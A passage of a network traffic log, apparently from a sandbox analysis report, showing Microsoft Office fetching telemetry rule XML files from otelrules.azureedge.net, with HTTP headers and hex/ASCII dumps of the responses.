22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:51 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:51 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:51 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: fbe9264b-c01e-0046-04f3-242db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200951Z-r197bdfb6b4kq4j5t834fh90qn0000000bhg0000000054a5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:51 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:51 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:51 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:51 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 97ea84b8-d01e-005a-0430-217fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200951Z-16849878b78c2tmb7nhatnd68s00000008900000000048p0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:51 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:52 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:52 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:52 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: b9c92f65-401e-0016-1c27-2153e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200952Z-16849878b78dsttbr1qw36rxs8000000089g0000000022nv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:52 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:52 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:52 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:52 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: de8fa6d8-101e-00a2-6a1c-269f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200952Z-16849878b78q4pnrt955f8nkx8000000084g000000004vac x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:52 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:52 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:52 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:52 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f1436c55-a01e-001e-41ef-2549ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200952Z-16849878b785jrf8dn0d2rczaw00000000p000000000ewew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:52 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:52 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:52 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:52 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 9800c975-801e-008c-0e2c-267130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200952Z-r197bdfb6b4k6h5jmacuw3pcw800000000p000000000mfg7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:52 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:53 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:53 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:53 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 74c47345-e01e-00aa-3afd-24ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200953Z-15b8d89586f42m673h1quuee4s00000003p00000000028b7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:53 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:53 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:53 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:53 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 60449bdf-301e-005d-500b-26e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200953Z-16849878b786wvrz321uz1cknn000000084000000000s550 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:53 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:53 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:53 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:53 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: bfa31533-301e-0020-4b7f-256299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200953Z-15b8d89586fzhrwgk23ex2bvhw000000028000000000aw9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:53 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:53 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:53 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:53 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: c82cfbdf-e01e-00aa-7097-25ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200953Z-16849878b786wvrz321uz1cknn000000089g000000002aqu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:53 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:53 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:53 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:53 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: f5f98d55-001e-0049-58e4-215bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200953Z-16849878b78p6ttkmyustyrk8s000000082g00000000dpbx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:53 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:54 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
